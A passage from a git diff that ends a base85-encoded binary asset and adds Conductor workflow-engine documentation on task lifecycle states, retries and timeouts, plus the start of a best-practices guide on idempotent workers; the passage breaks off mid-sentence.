z%SOwizeEZ+03CR(pu#m(T~ibB4ywVvQQEzR%xnHS%}expkNqdTcoUD*;aqS7)rs|F z{s^pYk+)PVY)BV4FG@K>Vw`L~bhr&A#fbQmhZH3Yd?thzqK$;YWn?fNR`RI@%8S33 zPK^4><0?1W)wm$a9I={8K0%N_s?k3k*{9h4I{o=;5$`fE$2ya~V+r9M9fw302eg#Z zX|K{HrTKe3-!kWNu#keoyB*T*FO9(D#$46wz1oh7_`V=n1?vD}^S5+^X0!uA7g#3L z&Vnun6oadpS2x4zbkCeYouYG6lcE{EBvx`Sm-3b1W(?^QSQUNC14w)?i@;<~D7o*b z-6w0_Zxf?Q_ zJmm5rzMshxZS$vrZtsLz|18Pl@dBZn4ReH?MgvfiQ$s9Y2SI$`ZOGUDK$qfn?TFQ= zT{CrS9XEJz?DY4U>q18_szbww!)YAM3SEWmZE7j6w=*WF5;VMMU4HMMz3J^XV#mn2 zGhr#a53_v1qu^JHT--|s``+s1VP*H%$3!RvzdgC@K7FeXqFj2dz@>{23ZXngG2=n7 zi@g-Fb)?#H`;?CN`y`_1O=5a{#w)~j)JXSGFGTxcl(oWL(YKn32zf>Zi0e{z{wi&x zKsJ0>e%V>@XM^46yrL)9CHVcQAZNc;G^qKt&-a@wG>j2(xGCx0@(u}lfD4{|=zD`{aGZkDazwfv zsJ1>E%T1i;Jk#X4^mqB;5l@Qly5=EZq+!M0Fz@T0vl4EB>tYOA5Zgk&N!sPtw}#v^ zlIyyXiMy7IDARk@yj|;zRQ=Nt4Oi$UE&T8;-DY1vmM6 zYH-;E3HSk4l6U{xL)JpNXxmeMh@&wdyM||{$SC~Fdu5pv?R<%H4rO^OjF;dIc5z|c zHx}$VIVSg6`{TjU$1E=d#&u^-i?xwBj9AzW>~YsQmC zYt9|_EBf^wkOf}mg|{=c{0-yRdIDCbDX%V#|{ndT^KFB9Z-m@(xE)auKAVQ>Kg(@hf96J|hXXYdr0Po43T z3w+J^h!x1-J;o)!6T$`qEW@?E@ItU)_dxzr18&dwGD3Uxjn_*wKUVS-X`}!#!~|2| z;1#-!NqNCl1QQ9d&btO1q#k?HS8v$Dx#yk z*9Se`Iip~-bkqoQ7G=?DlqjReN44w?iSGr!YnY6ZT5EqzsFXS!h@;Kd%NKr#&G2_m z8HpqvOu&nQxXnvm46Abl&+KmH8U&w22FCeLBJXYP*?k`(e`G3|sOHKV8ONbR_|qB% z>sJ&IPC*$7AXsxCx#7Lp!r#-0Pg2v|bsyFLbhVP#$2fL;jo9rr!^E52AMnKW^A^O& zk+{#hzys@rHM7(QlR7!6?s^#PFdBjGN#)TdYBB1Lf9uB0JC+}#d&(a+y6Z<9RI=QK zfZ+S4uZr4zwsgWPI-<&6Xq zlA8F|v9FSYz)KjiBYwC?W(F1*3o*7rug(t})_j6W*G;Knz|I-@l>=Da6rqk3&Lwl;<@37)zUw0V+!p1zXPwv>q z=3ZJQjI1v&GvYt|=yaf25?6-48}y34xHJdT8pyPeh*!P(yOp;4y24xK;63uSoyE~y zdxnA)s}U7Oyvj1V$uXPhzJO)*PlZ170a@@tYIm z&JvFV!i_dEoEhA66)f{Toz>`RqMR(mA$i)*-awy!1V{^xbiUZeW8Kl!*)yyu0>h@7 zxp?U=lenX$ARPy;_)Z~b{h4yg^jCE(5c{KdKBVMv#0#l5RJy!59ge2};$*-kP*T}5 za7fC$mi@^~EA9>L$zHN`lqg?5iLUygK!XwdDDP+M=VbgU!u0T?PfEw1v8CoDfQsyI zu6x-#?;`Wq6NL^LF`LYEV+f|c+a31dbsbA}l2tkghaKHLu0cR0Zx(~tsxa^+%Kwa@ zosz&Dr)usH<%Ndqn7s+ChkZcM&m{jW%KNgdp8ZQ1kl2Ee3S+uz`(P`N7Y-Bwmm(oF zmNU>eewwNt=3y(py8wzJvN|RNgjebu2joRw!-^NA`dyTRg(#O`4MC7TOu9Z(cbk3e z?5YTQKOGK4NaU*pfoiL5;lU9G^T-X&AaUf}JmNT5uFga+xXx!h4Cx!*=iZ!APA=M) zBfT@Vm?L8|4@&Yxw}k(61)@=A&0_O$bAHvTsaQ6#ZvkN*i!5Y1h)0<+rNV3bclyn0 zghplFKt}{m1QrQDlrP9gl$V^ZabcO$!A85D`qg4@IqfM(@d*pOxeEHz7IQ`Wcfpy= zB+(h`*_x|OqISiY*lgwC_%RVss;|J+T-`>N6E{fPhvwHtxB7IWt5Z`yWV0x;$>h0666k{;~(ZdeT8(Tr~nqd#kQSj+m@zK{F-i~M+W zG9;tJBpZA*d#6bHY*POG%vdk6#ak~s)}tb4Sa#Q@FD8;F>e%pB~Z|osaK6Z)g-9#CnU!t!*Z?*9P%iaiX=A*A*A(b(FK)UTHLT!fZVZCcSMV`)rdN*yDbi z?CFc-O0`&VEh$w)rAXwal%1PNW>`i0>l>0Q`t{9cMGCYRk)$)*c}=8@M4S(!Dy7~k z#7FE5!dWestq)1IKCAATv$rdQW8P0SLT@<5{kxkKFwL7GLh#70?gQ{pq@v7Av;C;p zB)V=g3=P1O%USznv6F@_d9LHivVxtUj>6Og{t|DerP&&9uHy&4DVMJLt)~l4{fR1){cLLWGyJl?CP%ZC9PDL;K@SUGQA>Akz1%7;EPjM0ouE zLea=uR`#<}X3};t8Jy?k0m5Voa1XP@s}?r1hHRIVMKHZFpcx<-&XqRc%&5-zfY8Yi&Ww9_y3Bnq%btr$;#DMx5fJnXOR*)o3 zNfq@uDu&;thjIyaT%k2f`E!Ip;8B^wH~Z)v%?(4YpG6v{Uo$Vey3nB;x#kQfnjP+A zI76kW5F;;)9qw7gm)(mPNG~A*ggLWVZDQwX)={P&ptW=?1PC3rp}!HK#*N2wLMGq# z{yZC74eJ+#DBjTnV-FdAJVb!Em7^lO#W=smN++qafb+0g-0x@kw`Wf#jx3GY$lLq1H@uUqx_oOjc_CPP&*r7zrbv+wJ| zxu}T`6M?CtEf3|R%O~76v8REZKgoRmT{HxF%i`#%<`!vCMVvq7F|B88*UwixOsL$H zO^xtf8*Wi@pfM|D#_(9i-O z2P;CwppAHg2X{jqOm#OI55wBd=G9MoDhufkCwu!fansIIi(O5Tcdyw5k&YCzGWFf1 zJ3c|-EWU0D7U9bf!2OU}lSbp$x%1Yf#Yk``z=bLMUG3i2kPpJ8mA zLuxd7Y-d+!X0rB=T5whDXm+`W&t&kin~nV8d@FchGNOI&V_V6L@!Rt5eJZzmGY6=3 z{q7p1qsQ*HWPMWbF)*;ZsT{zr01@gzat*{}+UF8Ee@&Uex#1F;+Y?J>_?>(WKQt~6 z6AK+emb>Vl=C$RIB6#OMHF0}vdBxulXTnh!cS1h#ER5tD+E&CgS`|oIHaEGS%NaG| z>G-`s`;!_KOk%|C(-0s?SOZgOp7@QDHElulk}vyZCaF*XpU9#sgazo`o~}M4%d$b@ z82NSrDg+JgADXFCFWk|NjWgcIDit`VNQ&Q3!*P}^nNB|Qj^TOME~y@yIG42U>^^Tc zX`#pn>{eOA*_W5}MbwaCfB_`%m*(|+3q;gWrh+x6O(e`naEY+DLhor z6ga{WShQ`-icyFO@SiH?qyJ-5PRuWATF49`)N4e!DDXDa>@3dM9Zg+>hgp4;yT1mf2q4i8ojzkZo3yXVbj>HRb$hcT)6W_bfNVqt(E&hhCv0GCqyM8_OGQt{JMQf?_RG}W!$~D?Kp!r$j8W4 zbDs<>mA3VN6}e$jjl_^#wUFPzI;K9VbGlD@ky>x@o0LsoZ;gwf+tT+1EV2>GlSbc??sf`-Fi6fYcMh!FH*{3MLS(_~a(6>sSSH^13m z8zp^58EmLN5f$cqTGg9bS{r4MVztPHi&J-!a^V~vInU*DIqZ3$rh)SrHwq?R6x<5_ zFW|7?_(iyN&ucL&cv&UR&FeLQU1ZU=fLp>BM8uPAuW|PTeZ=&yQz~v&S}a%k=4!#iU zBgaFCqh7bK1qpzKBD$bSpHh#}tvE!o=Fv=&GXWWp$O*8vmm|6>1~2)zHmnfM*tB_1 zhS}`mST80}(zdAgx0ijOt&pB3{Q6tVJN#UHQk~|!P{XrnG=+4+)$zhPV#NlU`?Rdm zKbB5-wvYJ5oqHCdi-!OY`H1~1!dNsH6Kc3`GHCaaP5cL0G&(@>_%I$VazD!;LO_wf z!voey+pyefF+H=s$caZBv)H6%x=8ZjIK=2pIC$B*;yT8@u%L|DXQfoW8_08<;yG8T zHUpY8(1$@smY%z@4(~_7taMNWI5K-?K+|28F?KHL=7crVego9N5JL(R5_Hhd#Vzo` z0kI!PSkaj)gSXn-t&G%8zhe_xhr)GbK2E_`qc^7ho_h8N`r#ZqR88`MhRF)gMs6u~ zX=oSMdacoZKz?Pxq@^4E>8zbX&)@hwV09J=8;-wTlrmS=x*|WW0ZvJqAXC~77K+A zW&wQ}QM>(w0+3yC&OTe@PN|=pXBR{;B*ONmf(ToBew{MVrul?PVLv>7+&o{d-Hqam z1MF~g6n3#W87fm-Jb>A~Pc}>!v$bGKE9g&BA_R)Op7gzl*aC2A0$bbJ;RodYg;T@% ztx5zPBA~jDaJT9F^IY7g3h%Q~jS5NgA__s=w8H@=7VH3_Ead+g$|xy)Xq4WupYJph zBz5Y58ajxzT0L&XODg!QEbH-{%lrqC?6HrAXq5{v8Cz`*w&1@CD?L+MlW9~!-bCDYUp>sl53n^6vDhQ6uM(i>@CsCyXXRZC{Iizbl3 z#)##`H~`?tKE8ruo!)_u{bPf#xh+cBQy&dRDoe>D6m!jZdi!ys&L&6CA4VWYB0D-vq1%@k;5!`fy}%bPqO3R-TwZkiqy!q z#Z{P0*OcQ`F{So{?4uTpY-fW%GkVVccdlYMUW?BzvQOC0#`~6ou&O+aLZp|^<-_q3 zYFmbpkbjT=0^mTtwokq*!zA5~e9lso86cd+5AcTUbog#1xsYYTH0_@yA>3F4)48C` z>u|60-F6l%|IRKX)Cojudwv4oO7Q=!c8`QQm9snL&VCO+n6qf@hXZ${1J{ZbQGj>$ z_#2OK?KqaVvZ<)kuymgSg*Dopw5Kn?VJ~=J*!>Ioe`~{|c!J(~15xZ8i z^0^c(9tf~&DML@i$t_`LlZ^S_^%JP`TR5R|`D5d`-27?^1%#n0Y z?J~L&!|%UIi^&Nj1X|3@wgnNHxrI+Q5Z&hL_cMIQ@~1SZT5*NtY=+X_Y)BWff!;0mvC)wgJKa6!8V%CDmFgNoE2p1c;Ak`qV|; ziO|1Rjz;+($zK4TWjlv%+~7R&w=j=&sG{tRx+wqrQ-)0G_kS`6i=ousk-)f@5yY%Z zF{Xh5Fy6IffSq~Vj~VB`Gn0KJdASPbmdCE7O}|w}>OL~WHa1FQ+Bg3v6E6ToWNU77vr-vJ$I}ca@#j>f zJILHt9laoY4vw)DlK(CD6WO)-$0L+*FugsTx?f3*m#FuHmFQXN#0S|aa>mGni695j-a z{ZG$?$k^dLCpT+ilP*1EekN6JVZfr!FWk`A{|P+?67Xe(y+a$j%6ZC&{>m8TlI9gs zWmlE^12@tC(LNwUh;(G_6D&yC%tN6nHb4@={fZW;=G*t~fBS^}(ZU3%m_^_gE_1Vt z<~EY6K+A4JO;^>IC2qq1TS_d^mv7od_Qbe@scG`~s3GRt*qENNgO0KE8{IW-~iRM2nztF_)3=hP+ui-lH7e1D0>NLvYfoZYg{<;xHP~$ zzXmaRRqfrQ{geq@D88AM;mb>iUEJvDFde$oq`SR`kFBUG*&+t@W=p-;@2)8CX@12VKH^$6edurV~jEjgS}0pEd_X?>Q9>gUmmDkJ9; zt!qG6!*zQevAGNLkuOtPftqlAD;u8wTm*yK-a^J10Aq&sP^>!LEg z3A7RQ2DPb1|Foq@(}=6NX7BkJ^K|tKnqZH(9}BWOLo5bl!FspC;H|G*N&O!(L72DB z!HelOF3n&9JQ@J^>?iFHeXswhh$r0EEEVTT#FSC_Wh1+~Hp8c0IR0i{wPr2%s^1@; z%3eVDfoxJgla`WCijgj>)x*SK4V@b6`%9EK9JWPoL}2qdiZAmH3~cX*OY13CgHM?! z*|B_>NcJ zb+icgAY$X|l)IC|ktFVy_K9CwkF2>x=;zDDrZPb` zq==?;)4P)0s!U_pb<@$P;V5_?xM5zCD03Tv+W?nu{!nZMZo%@7WaPRQ6Mh?O;%N7hKw}rC+`ZJm-crZ3!*3tBCj! zi)?S#`1!VpQT83W8LXJ8_lS;K<6ay=9SuMfFG4BlvEs2XS2Ts$q1hsvq8>rRQ|AYx z13gk$_g_Ot_5tp$P(zWZNlaOYaozl0aV1bWzAT9be;X~*EoGIChg{H_iuRX?p4hwN z95*?~LaR%UBltQ&<*hrD#}VuI3JrIPZ5%}sd=YM&+_Nmt0A{a0GD1$ihB+FZhpDV# z@s(XY>>Poy0{e*+ima^qW!#Y?X>qwoK)0>{yqktse66H$`sp3nuY@Q44E3K8-T=$e z_?VXIZTfe6oX&b{y8X6;$;>bt2pPw=hm9v6!-RScPD;Qmn8G{D>nxfn=~z<21M{|m z<_Bek{*F4X#Vjds38VWf*kdAIi4UTn^{8UB-7>zX(N=5;yQ>g>=O5vi&N}4;_m^YR zG|@%ZqX`l+uk!v{E*#too_0$4*e8|Osctq0sqrTcUKzG0=Z_oiQ*S?|imCRu$e5t@ z7Y1E#e5Sp3Nhz@N?is`jI3O4WgZCU5|JrJ}K;Hr)SN27qO_ZSr`(loRRbFN4*a#Q5 zKD}GJo92-&&-5D?&P8yOttV7@TJQ(!uf_<+P)5%_I(f;_>pO}XS&rvh2cziW+YMdX zI2s!m8V&QzF_5;bFiyHIEE%xwvt&8`4QK5KY9)t_& zx9i�l>oVMs1DU7FE41lD2In>(bYM0GbyOD*x~u2QI}j9_I7q%%A*fiUYxHM&QJQ z-}){T89L*uux2Skxy4^N9)ZohJFa~WV( z$V6!!^!KF;A%vWyjB`M#V`uMxlx}$e>B`@Rxwvv6+JVL!wxNk>S^p*GkH%kdDYEFCyS%E_QxijCUz*uwYW^CHW~ zETXAErrAq@kTsk*Uh1^N+>Kn=%lF63zk`qyHt@~+=OyJ;L8;yq?kL^V+ST(td;ChNjXS# zV>E>8psIZ<6aIMj*EZp#<^D~q0n)&(boyY`lMQ_hy|?YmSN7;B2SqbQ9#gP;>hyh2 zsT~9=&W?wR-}RG1XsemweJkQ$nZ{r~q(#c${1Un)7zn%SY%*iK-{+#0wQog*OEqO9 zqpeyEy7UG$c!Q3xb_VU;^yl3K@6MzYzC+@#K z8!qkI#DNP8bgW2XO!B7PmM)LfN7!Ggve?y2bAW7IsM zp4Q#0vC*ZeX4BgkJY^nzVzhsF%#8!-y&G3ylaNKD&ZAqjiLHK*Mg7=1CnBFR+kU+V zF2D2!^H~~mt~1n7;>1!BXy|>z6zGW9$Im`@gVqka}%` z&!ti^I!J~G>NJ?X8cu!urWBK2wPZD>JRwN608#I)F6C}>|J&XK<>E=4-9F#Wz+(Th z<+@#~;#-z)C*%bK347#czsUcxS%}O6Zs~iw5bV9uhfc<>*5=cktKJtapDFuTw5w_j zO&H=ER5(SWCxGHMjbuA3NUrkq>&jgHE2_mdEMN&V$K_;>e{4a9uVjK?Qbz29ZM0tA zb0TBHL(&!#^)aj-{eueqVICsYX@&AJr^+^Fo*yyD*9qf$_j{Q&dtl*WvMD|twM@p< zA})x@vLCZ4av_YB^dBw8hRC5gN3$yvGPE&7B+y6?R>FeXVKv}po=d99UE3-Pl4?*V zA<(mcamR^cR!q_8Z5z#QGwUir@O>F0soCNTRz}?RkYx^0I5EWR;ur7B8plh}b`BCI)wBQK})6 zBt2a)7 zOjL+t%?rKXim`!Dp*N0mngT*)V`ot= z1lSnwuk>S(0!|Dw=_BIrq)FzVa@ghHk7Z1~^lq1|ep7qYY`S=&w2j5dN)i$@n?PNu zOIxTq;+z-6UU<~>NigI8z2p*->&g{9^kY#&t>!t@n=MZ%cC~WHaHojo=R;-cHE=D` z`3G-Gdd|pK?ip$!*HYMonO?J5mBDDrlIf2~ihWJ!>)9;Ee}%xeQvfh@`J1T7e@n2- zgUTc0vXotncii~^t;2s44cZ;M>p-h4i&NLGtOiSBP(}E*E7sMfUZ>=85X1)Amy1?^ zM8*CmVETv-k-l4+1T9TG3Ed^sN;T`9hmlk7OdQxir?KwXDWkc;~k}) z)H9Z>(gQ&wkWT4hvO9ML$a*WBXjtNV3uH*tbujf=}FMt;bCn?(H3Dw~MPs z)gN?9`#bJcJE|g+^b%d4r_4Zw2G(c`b@ww>+gF=5Nz`_$BZ5Q^cZa<|;$L>pk|ffe zCyylN)SL7rHiGq~W9g!YKBi; z3Nq_8q6Am!8Far9)JWDkD*Uo~Jx$ztE_45|;$frsy`a#?$YzX>X+4_J=Wvm_gMMLb zr^)g7;`y3y*2l<-M)7G!oFn4{0pE-|X?9uc*kOaMjb3?Ep8}9;bcKMqlXEmfFGAmH zNA+3Yn66#LXv7I)TpgA{Ze~VB`G*$Fwc-Nl5JT7d@(`-6s9JrefYHi+oz) zS|i(5mUSw{<~@qVr>ogea$BA1o`p1U;`I9jk}q4h8dL)JUoOr0WFpN@vV_$Wv6nR> z&s=%75w&kJA4^3Zk2LFk;t5;~LkeiO>-c7ZEn6;kt@7oh#Rgj*_9U;zi1;G}GrKjXM|Kb%>I4>)(z7)jQRrsTVnm0FJ_Q_sR;&Z z_yWxhcxX!9l_qt&-L7{&m=f!0zL?g~Ns6KD*w$rI&TZ(XPSU)|e45&!m(g9&CU((n zdi;Gh5(T=}DI&!lXa^I6|?Uj4+aB?4Z=g%x~q8)Vw4$j{Jfd~u*yJCZj@&k7yY(tU{+`T2_@nE zM$C2sHtoW?Kcdbfr_D8=RafSdamJ4cc?E0iyqNg_rhFkAXpal!@q|bAsk9(ASPh1`Ir;lNmo3y1GCoa_#)AwjXO#Dgr zA1%o9qAGHDnr*Zyvo04QZsn(O76E*maHe8KZ;@gSr|k3b|FIUZ+(Tit==W7CP)PmO zb`rLd#n=bu3!LbTh84?4688b^%l)_zh20EiZHhdj-T>sCeJoi6uW4tyh4{HSSHpP$ zMV91?mQ`w*yMzooX~A@#U;eE3@4T!rGFN3pgkD=N^t|72i$VePufexIdA#R=o_dX;Uv7PXDx8xo2{-1j#6W zO+hlqSfzKfWTYn$37w)mp#QDe(VwUKPw^^I(%&UsUT zpDST_LF2H;MriEhtE)Zzx^|6J07oGXD#9)=eDwamupovLKn77Ok8hOyLN7{~P4V7! zGhPKtX)kufgCt%5Aq`(>LJb0y5V*gpu<32NFNhrTx>Q=s+pAj)N@m0Ew|+b*={d|! z=Q|d)alJhEC=vWkcBb$4_*-~IQETV81$cC^tkbXnJ=-kHeTLdtYf+tVr|GahL3eGG zZ$Ta3xGR?o_l=;pOJ;es(Qf<1qP%z4XlVcE_ps1rEml1Ux(RbF6F8#F3A({~7v&?Q z>J`am2~t-~uQiB`f`841VE!wQmT5wgHMIQsIv+Pd6T-wur4v*xsmGw9qg(FbhD+j5 z-K6|3$A2Z}D{`$yP%nJ5ictdro8iGA`5JB`*kgSAr<`3}8eaG0>zKn|rMQ&;a(Rjl zQg2GC2rC*k=Vyd_@Sv)=OK*g&$?s4uJGsX5uUFLv7s+|wi#lS^Akt6v(F7n1-jT@* zNHcbJOdvu&3(XA-a6Kd7{rBg2xJWjgG^?4X2V*Wdk1FzCxu(TmoJc**oxfPq=viiq zmCJUmz5Dm)6FA<~ zr?XP%2CM>u?6@bWb26pq{V2o7QE7_(^5D$yGqsoO z<0pV4c#C0M`-Z)x@&~Q>FCmKA|Aj>ug^Uo-?O{ePB6}k+(Z+)&#xM5l7An1OkNeOS-|MVQY!7)+QS%M3$AMEn`R?8BU81xyf=DaKG*epecq4vwIC{6$?hLoY&17s@~wxK zmu-$)0NBMh^rd>A(^?w~Za`cJ!dYQM{)?`g}yizerM zPE<2)ok4a*(xhHkHIF`42VN_hlYdx*r4_U3V?Hlt4lVl+9FW-+lgB7{T&*ffFk^L zRSisd$?cvF(5YfmIZ)%7hN!Hy3^YXA=EhHrx{Cx@GXB+yzmEJWQiCT=b?1j%C(PVn z^~E!aHG_^H_jxn}lL9;(ytLQfi#{5mh4UXbW&*AT;P2}R{3x-VDVJCyO9kC1X?W@R zD$CZbc+-`w7)BHI&RKumwY4Y!K!x%PkrXJ5%fi-;fqNq$}w7JG!fYfxS=yee%7u#Ce6X$Iu1VQe~5iOLquxsr@ zuMlxkebQ>|bL*EU`>#x#rWQCUJx@?iEuM;hfFqK}rwEFHQK{^`*-kBVu8t;_o_>G5 zyX*uXvSlv0jLO0|g-Ox58H<7rMkic;zVV;pmqa?o{sFi|yzrwlabhpaEHuVBK_OAP zHFD^?hSaj}aT9fU_jDVs+<1bbljZisPeKv*Q_2^tk(y$*L#)Sixmp>_<83b(J({?NZ8zNQ9l)y><;iI ztLI~wd2Je13~Y&J?}S0s&I@nZBbHwS;T!Qn0>ik)ak)=bjnZMWuEJOY&p)eB66K*D zzTcV8XM7X$?dNvhO%s|ok8wj|dKBcou1P~aSZlO5DJNsRQa|C#j@&|QNjAA&5;)cs zcuyorOirBUGlJ_$I)_eATS7=jAUO1#ThZ~`E25^tgQ^~t$2sg$b8F2FdGN8t=IOTb zA6sSagn4~vWE{21PHJ4Jt?dE?T+9>Xb=RKgoLI>9RP5Esd1XXM7an$~Y?{+}2#{k5 zLmF!5#$<4@uXS0ZzBZDR&9XLQ$`XYRx*l9H4EFX>>nLfyPXBnbI}0mp^kebhABxFA z@0SVL65|66a$<+w_DHtwfNBN1BEndYtXUbAn<&+}yV+Auce6oazf7%d{3NYeV$K^%SIX#&jRBI-S1v0+4ViMF!U2{=JF**+gwa&;BHDsL&hz#Z z{NnpTpA(j%Ju-eTf$Z2P?S5ZWL-3R?{tOk&3}0TwyZ8^(ApaJF*J5Q2NPG*M{}2C% eN%T$+tSXYd0hf>M5L{G{KMuBNn^J49$o~R1`O_@` literal 0 HcmV?d00001 diff --git a/docs/devguide/architecture/tasklifecycle.md b/docs/devguide/architecture/tasklifecycle.md new file mode 100644 index 0000000..a5a123a --- /dev/null +++ b/docs/devguide/architecture/tasklifecycle.md @@ -0,0 +1,183 @@ +--- +description: "Understand the task lifecycle in Conductor — state transitions, retries, timeouts, and failure handling for durable workflow execution." +--- + +# Task Lifecycle + +During a workflow execution, each task transitions through a series of states. Understanding these transitions is key to configuring retries, timeouts, and error handling correctly. + +## State diagram + +```mermaid +stateDiagram-v2 + [*] --> SCHEDULED + SCHEDULED --> IN_PROGRESS : Worker polls task + SCHEDULED --> TIMED_OUT : Poll timeout exceeded + SCHEDULED --> CANCELED : Workflow terminated + IN_PROGRESS --> COMPLETED : Worker reports success + IN_PROGRESS --> FAILED : Worker reports failure + IN_PROGRESS --> FAILED_WITH_TERMINAL_ERROR : Non-retryable failure + IN_PROGRESS --> TIMED_OUT : Response/task timeout exceeded + IN_PROGRESS --> COMPLETED_WITH_ERRORS : Optional task fails + SCHEDULED --> SKIPPED : Skip Task API called + FAILED --> SCHEDULED : Retry (after delay) + TIMED_OUT --> SCHEDULED : Retry (after delay) + COMPLETED --> [*] + FAILED --> [*] : Retries exhausted or totalTimeoutSeconds exceeded + FAILED_WITH_TERMINAL_ERROR --> [*] + TIMED_OUT --> [*] : Retries exhausted or totalTimeoutSeconds exceeded + CANCELED --> [*] + SKIPPED --> [*] + COMPLETED_WITH_ERRORS --> [*] +``` + +## Task statuses + +| Status | Description | +| :--- | :--- | +| `SCHEDULED` | Task is queued and waiting for a worker to poll it. | +| `IN_PROGRESS` | A worker has picked up the task and is executing it. | +| `COMPLETED` | Task completed successfully. | +| `FAILED` | Task failed due to an error. Conductor will retry based on the task definition's retry configuration. | +| `FAILED_WITH_TERMINAL_ERROR` | Task failed with a non-retryable error. No retries will be attempted. | +| `TIMED_OUT` | Task exceeded its configured timeout. Conductor will retry based on the retry configuration. | +| `CANCELED` | Task was canceled because the workflow was terminated. | +| `SKIPPED` | Task was skipped via the Skip Task API. The workflow continues to the next task. | +| `COMPLETED_WITH_ERRORS` | Task failed but is marked as optional in the workflow definition. The workflow continues. | + + +## Retry behavior + +When a task fails with a retryable error, Conductor automatically reschedules it after the configured delay. + +```mermaid +sequenceDiagram + participant W as Worker + participant C as Conductor Server + + C->>W: Task T1 available for polling + W->>C: Poll task T1 + C-->>W: Return T1 (IN_PROGRESS) + W->>W: Process task... + W->>C: Report FAILED (after 10s) + C->>C: Persist failed execution + Note over C: Wait retryDelaySeconds (5s) + C->>C: Schedule new T1 execution + C->>W: T1 available for polling again + W->>C: Poll task T1 + C-->>W: Return T1 (IN_PROGRESS) + W->>W: Process task... + W->>C: Report COMPLETED +``` + +Retry behavior is controlled by the task definition: + +| Parameter | Description | +| :--- | :--- | +| `retryCount` | Maximum number of retry attempts. | +| `retryLogic` | `FIXED`, `EXPONENTIAL_BACKOFF`, or `LINEAR_BACKOFF`. See [Retry Logic](../../../documentation/configuration/taskdef.md#retry-logic). | +| `retryDelaySeconds` | Base delay between retries. | +| `maxRetryDelaySeconds` | Caps the computed delay. Prevents exponential growth from becoming arbitrarily large. | +| `backoffJitterMs` | Adds random milliseconds to each delay to spread concurrent retries over time. | +| `totalTimeoutSeconds` | Hard wall-clock budget across all attempts. See [Total timeout](#total-timeout). | + + +## Timeout scenarios + +### Poll timeout + +If no worker polls the task within `pollTimeoutSeconds`, it is marked as `TIMED_OUT`. + +```mermaid +sequenceDiagram + participant W as Worker + participant C as Conductor Server + + C->>C: Schedule task T1 + Note over C,W: No worker polls within 60s + C->>C: Mark T1 as TIMED_OUT + C->>C: Schedule retry (if retries remain) +``` + +This typically indicates a backlogged task queue or insufficient workers. + +### Response timeout + +If a worker polls a task but doesn't report back within `responseTimeoutSeconds`, the task is marked as `TIMED_OUT`. This handles cases where a worker crashes mid-execution. + +```mermaid +sequenceDiagram + participant W as Worker + participant C as Conductor Server + + C->>W: Task T1 available + W->>C: Poll T1 + C-->>W: Return T1 (IN_PROGRESS) + W->>W: Processing... + Note over W: Worker crashes + Note over C: responseTimeoutSeconds (20s) elapsed + C->>C: Mark T1 as TIMED_OUT + Note over C: Wait retryDelaySeconds (5s) + C->>C: Schedule new T1 execution +``` + +Workers can extend the response timeout by sending `IN_PROGRESS` status updates with a `callbackAfterSeconds` value. + +### Task timeout + +`timeoutSeconds` is the overall SLA for task completion. Even if a worker keeps sending `IN_PROGRESS` updates, the task is marked as `TIMED_OUT` once this duration is exceeded. + +```mermaid +sequenceDiagram + participant W as Worker + participant C as Conductor Server + + C->>W: Task T1 available + W->>C: Poll T1 + C-->>W: Return T1 (IN_PROGRESS) + W->>W: Processing... + W->>C: IN_PROGRESS (callback: 9s) + Note over C: Task back in queue, invisible 9s + W->>C: Poll T1 again + W->>C: IN_PROGRESS (callback: 9s) + Note over C: Cycle repeats... + Note over C: timeoutSeconds (30s) elapsed + C->>C: Mark T1 as TIMED_OUT + C->>C: Schedule retry (if retries remain) + W->>C: Report COMPLETED (at 32s) + Note over C: Ignored — T1 already terminal +``` + +### Total timeout + +`totalTimeoutSeconds` limits the total wall-clock time across **all** retry attempts. Once this budget is consumed, no further retries are scheduled regardless of how many remain in `retryCount`. + +```mermaid +sequenceDiagram + participant W as Worker + participant C as Conductor Server + + Note over C: totalTimeoutSeconds = 30s + C->>W: Task T1 (attempt 1) + W->>C: FAILED (at t=5s) + Note over C: Retry delay 5s + C->>W: Task T1 (attempt 2, at t=10s) + W->>C: FAILED (at t=20s) + Note over C: Retry delay 5s + C->>W: Task T1 (attempt 3, at t=25s) + W->>C: FAILED (at t=28s) + Note over C: t=28s ≥ 30s → total budget exhausted + C->>C: Mark workflow FAILED — no more retries +``` + +This is useful when you need a hard SLA on how long a task can run across all its attempts, independent of how many retries are configured. + +## Timeout configuration summary + +| Parameter | Description | Default | +| :--- | :--- | :--- | +| `pollTimeoutSeconds` | Max time for a worker to poll the task. | No timeout | +| `responseTimeoutSeconds` | Max time for a worker to respond after polling. | 600s | +| `timeoutSeconds` | SLA per individual attempt (from first `IN_PROGRESS` to terminal). | No timeout | +| `totalTimeoutSeconds` | Hard budget across all attempts combined. Overrides `retryCount`. | No timeout | +| `timeoutPolicy` | Action on timeout: `RETRY`, `TIME_OUT_WF` (fail workflow), or `ALERT_ONLY`. | `TIME_OUT_WF` | diff --git a/docs/devguide/bestpractices.md b/docs/devguide/bestpractices.md new file mode 100644 index 0000000..2d291ab --- /dev/null +++ b/docs/devguide/bestpractices.md @@ -0,0 +1,274 @@ +--- +description: "Production best practices for Conductor — idempotency, retry logic with exponential backoff, timeouts, payload management, horizontal scaling of workers, saga patterns, and deployment strategies for durable execution at scale." +--- + +# Best Practices + +This guide covers production best practices for running Conductor as a durable execution engine at scale. Every recommendation here comes from real-world operational experience. + + +## Idempotent workers + +Conductor guarantees **at-least-once** task delivery. Network partitions, worker restarts, and response timeouts can all cause a task to be delivered more than once. Your workers must be idempotent — executing the same task twice should produce the same result without side effects. + +**Patterns for idempotency:** + +| Pattern | When to use | +| :--- | :--- | +| **Idempotency key** | Pass a unique key (e.g., `workflowId + taskId`) to downstream services. The service deduplicates on this key. | +| **Upsert instead of insert** | Use `INSERT ... ON CONFLICT UPDATE` or equivalent so repeated writes converge to the same state. | +| **Check-then-act** | Query current state before performing the action. Skip if already completed. | +| **Idempotent HTTP methods** | Prefer PUT over POST when the downstream API supports it. | + +```python +from conductor.client.worker.worker_task import worker_task + +@worker_task(task_definition_name="charge_payment") +def charge_payment(workflow_id: str, task_id: str, amount: float, currency: str) -> dict: + idempotency_key = f"{workflow_id}-{task_id}" + + # Check if this charge was already processed + existing = payment_gateway.get_charge(idempotency_key) + if existing: + return {"chargeId": existing.id, "status": "already_processed"} + + charge = payment_gateway.create_charge( + amount=amount, currency=currency, idempotency_key=idempotency_key + ) + return {"chargeId": charge.id, "status": "charged"} +``` + +The `workflowId` and `taskId` combination is unique per task execution attempt, making it an ideal idempotency key. + + +## Timeout configuration + +Every task definition should have explicit timeouts. A task without timeouts can block a workflow indefinitely. + +**The rule:** `responseTimeoutSeconds` < 